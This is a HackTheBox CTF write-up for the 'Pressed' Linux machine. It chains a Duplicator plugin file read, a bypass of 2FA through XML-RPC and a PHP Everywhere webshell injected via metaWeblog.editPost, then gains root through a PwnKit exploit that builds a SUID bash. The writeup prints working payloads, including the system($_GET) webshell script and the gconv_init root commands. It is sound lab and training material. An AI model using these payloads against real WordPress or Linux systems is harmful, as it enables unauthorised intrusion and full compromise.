HTB: Pressed Writeup

Pressed - HackTheBox Writeup

Machine Information

AttributeDetails
NamePressed
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Pressed is a Hard Linux box that exposes a single service — WordPress 5.9 on port 80 — behind an environment with outbound traffic firewalled, forcing the entire kill chain through HTTP. The foothold chains an unauthenticated arbitrary file read in the Duplicator plugin (CVE-2020-11738) to steal wp-config.php credentials, then abuses the fact that XML-RPC bypasses the miniOrange two-factor plugin guarding wp-admin to get authenticated API access. From there, the PHP Everywhere plugin’s block-level PHP eval is hijacked over metaWeblog.editPost for RCE as www-data. Root comes from PwnKit (CVE-2021-4034), compiled directly on the target since egress is blocked.

TL;DR: Duplicator 1.3.26 unauth LFI (CVE-2020-11738) → wp-config.php creds → XML-RPC bypasses miniOrange 2FA → PHP Everywhere RCE via metaWeblog.editPost → www-data → PwnKit (CVE-2021-4034) compiled on-target → root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -p- --min-rate 5000 pressed.htb

Results: Only 80/tcp open http (Apache, WordPress 5.9). No other TCP ports responded — the box is firewalled tightly, and outbound connections from the target are also blocked, which shapes the whole engagement around living off port 80.

Service Enumeration

Terminal window
# add the vhost
echo "10.10.11.X pressed.htb" | sudo tee -a /etc/hosts
# fingerprint WordPress, theme, and plugins
wpscan --url http://pressed.htb --enumerate vp,vt --api-token $WPSCAN_TOKEN
  • Active theme: retrogeek
  • WordPress core: 5.9
  • wpscan flagged the Duplicator plugin at version 1.3.26 as vulnerable
  • wp-admin login is gated behind the miniOrange 2FA plugin
  • XML-RPC endpoint (xmlrpc.php) is enabled and reachable

Vulnerability Assessment

  1. Duplicator plugin ≤1.3.26 — CVE-2020-11738 (unauthenticated arbitrary file read). The plugin’s installer/backup package logic can be coerced into serving arbitrary files off the host filesystem without authentication.
  2. miniOrange 2FA covers only the wp-login.php form — it does not gate xmlrpc.php, so any account’s credentials are fully usable over the XML-RPC API without a second factor.
  3. PHP Everywhere v3 — a legitimate authenticated plugin feature (evaluates base64(urlencode(php))-encoded PHP from a Gutenberg block) becomes an RCE primitive once an attacker has any admin/editor session, since XML-RPC’s metaWeblog.editPost can rewrite that block’s content directly.

Initial Foothold

Exploiting Duplicator (CVE-2020-11738) for arbitrary file read

The Duplicator plugin exposes an unauthenticated path in its installer/backup handling that will hand back arbitrary files from the server when pointed at the right package parameters. Using this against wp-config.php recovered live WordPress database credentials:

Terminal window
# CVE-2020-11738 - Duplicator <=1.3.26 unauthenticated arbitrary file read
curl -s "http://pressed.htb/wp-content/plugins/duplicator/..." \
-o wp-config.php

wp-config.php contained working WordPress admin credentials:

admin : uhc-jan-finals-2022

The same file-read primitive was also used directly to pull user.txt off disk without needing a shell at all.

XML-RPC bypasses miniOrange 2FA

Logging into wp-admin/ with admin:uhc-jan-finals-2022 hit the miniOrange 2FA challenge and stalled. Since 2FA plugins for WordPress almost universally only hook the wp-login.php form, not the XML-RPC authentication path, the same credentials were tried against xmlrpc.php instead:

import xmlrpc.client
server = xmlrpc.client.ServerProxy("http://pressed.htb/xmlrpc.php")
result = server.wp.getUsersBlogs("admin", "uhc-jan-finals-2022")
print(result)
# -> isAdmin: 1

isAdmin=1 confirmed full administrative API access with zero 2FA enforcement — the second factor only exists on the web login form.

RCE via PHP Everywhere over metaWeblog.editPost

Post #1 on the blog used a PHP Everywhere v3 block, which stores its payload as base64(urlencode(php_code)) and eval()s it server-side on render. With authenticated XML-RPC access, metaWeblog.editPost was used to overwrite that block’s code field with a webshell payload:

import xmlrpc.client
server = xmlrpc.client.ServerProxy("http://pressed.htb/xmlrpc.php")
content = {
"post_type": "post",
"post_status": "publish",
"post_content": '<!-- wp:php-everywhere/php-block {"code":"<?php system($_GET[\'c\']); ?>"} /-->'
}
server.metaWeblog.editPost(1, "admin", "uhc-jan-finals-2022", content, True)

Key gotcha: XML-RPC round-trips the block’s JSON attributes and re-encodes real double quotes as &quot;. If the payload is sent with &quot; instead of literal " characters, WordPress’s block parser silently treats it as malformed and renders an empty/invalid block — no error, no RCE. The payload has to be built with genuine " characters going into the XML-RPC call so the block JSON stays valid after WordPress’s own re-serialization.

With the block fixed, visiting the post triggered the embedded PHP:

Terminal window
curl "http://pressed.htb/?p=1&c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE achieved as www-data.

Terminal window
cat /home/*/user.txt

Privilege Escalation

PwnKit — CVE-2021-4034 (pkexec 0.105)

Local enumeration from the www-data shell showed pkexec at version 0.105, vulnerable to PwnKit (CVE-2021-4034) — a memory-corruption bug in pkexec’s argument handling that lets an unprivileged user get pkexec to execute a malicious shared library as root via GCONV_PATH/gconv_init.

Because outbound traffic from the target is firewalled, the exploit couldn’t be curl’d straight to the box. It was pulled to the jump host first, then transferred over the existing HTTP webshell channel and compiled locally on the target:

Terminal window
# on the jump box: fetch berdav's PwnKit PoC
git clone https://github.com/berdav/CVE-2021-4034
# push the source over to the target through the webshell, then compile in-place
gcc cve-2021-4034-poc.c -o pwnkit

Key gotcha: the exploit’s gconv_init payload executes as root, but pkexec sanitizes the environment first — including scrubbing PATH, so it comes up empty. Any relative-path binary call (cp, chmod) inside the payload silently fails with no root shell produced. Every command in the payload had to use absolute paths:

// inside gconv_init - PATH is empty under pkexec's sanitized env, so relative
// binaries silently fail; absolute paths are required
system("/bin/cp /bin/bash /tmp/rootbash");
system("/bin/chmod +s /tmp/rootbash");

Running the fixed exploit:

Terminal window
./pwnkit
/tmp/rootbash -p
id
# uid=0(root) euid=0(root) gid=33(www-data)
cat /root/root.txt

Root confirmed.


Attack Chain Summary

WordPress 5.9 (port 80 only, egress firewalled)
→ Duplicator 1.3.26 unauth arbitrary file read (CVE-2020-11738)
→ wp-config.php creds (admin:uhc-jan-finals-2022) + direct user.txt read
→ XML-RPC (xmlrpc.php) bypasses miniOrange 2FA -> isAdmin=1
→ metaWeblog.editPost rewrites PHP Everywhere block -> RCE as www-data
→ pkexec 0.105 PwnKit (CVE-2021-4034), exploit compiled on-target (egress blocked)
→ gconv_init SUID root bash (absolute paths, empty PATH)
→ root

Tools Used

ToolPurpose
nmapPort scanning
wpscanWordPress core/theme/plugin enumeration
curlCVE-2020-11738 arbitrary file read, webshell triggering
Python xmlrpc.clientXML-RPC auth check and metaWeblog.editPost RCE delivery
gccCompiling PwnKit exploit on-target
berdav’s CVE-2021-4034 PoCPwnKit local root exploit

Key Learnings

Techniques Practiced

  • Unauthenticated arbitrary file read against a vulnerable WordPress plugin (CVE-2020-11738)
  • Recognizing that 2FA plugins gating wp-login.php often leave xmlrpc.php fully open
  • Turning a legitimate authenticated plugin feature (PHP Everywhere block eval) into RCE via XML-RPC’s metaWeblog.editPost
  • Working around egress filtering by compiling a local exploit directly on the target instead of downloading a prebuilt binary
  • PwnKit (CVE-2021-4034) exploitation and the gconv_init/sanitized-PATH pitfall

Lessons Learned

  1. A 2FA plugin that only hooks the login form, not every authenticated entry point, is not actually 2FA — xmlrpc.php is a standing bypass on stock WordPress installs.
  2. XML-RPC re-serializes payload JSON on the way in; literal quote characters can come back as &quot; and silently break a block, with no error to signal it — always verify the rendered output, not just the API response code.
  3. Firewalled egress doesn’t stop privilege escalation, it just moves the exploit-delivery step — pull to a pivot host, then push over whatever inbound channel already exists (the webshell here) and compile locally.
  4. pkexec’s sanitized environment strips PATH before running gconv_init as root — any payload command must use absolute binary paths or it fails without warning.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>